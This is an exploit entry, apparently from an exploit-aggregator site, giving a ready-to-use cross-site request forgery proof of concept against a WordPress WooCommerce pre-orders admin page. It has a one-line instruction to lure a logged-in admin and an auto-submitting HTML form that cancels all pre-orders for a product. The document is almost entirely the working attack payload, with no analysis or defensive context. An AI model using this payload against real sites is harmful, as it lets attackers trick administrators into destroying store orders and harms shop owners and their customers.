## https://sploitus.com/exploit?id=WPEX-ID:064C7ACB-DB57-4537-8A6D-32F7EA31C738
Make a logged in admin open an HTML page with the form below (this will cancel all pre-orders for the product with ID 777)
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=wc_pre_orders&tab=actions" method="POST">
<input type="text" name="wc_pre_orders_action" value="cancel">
<input type="text" name="wc_pre_orders_action_product" value="777">
<input type="submit" value="submit">
</form>
</body>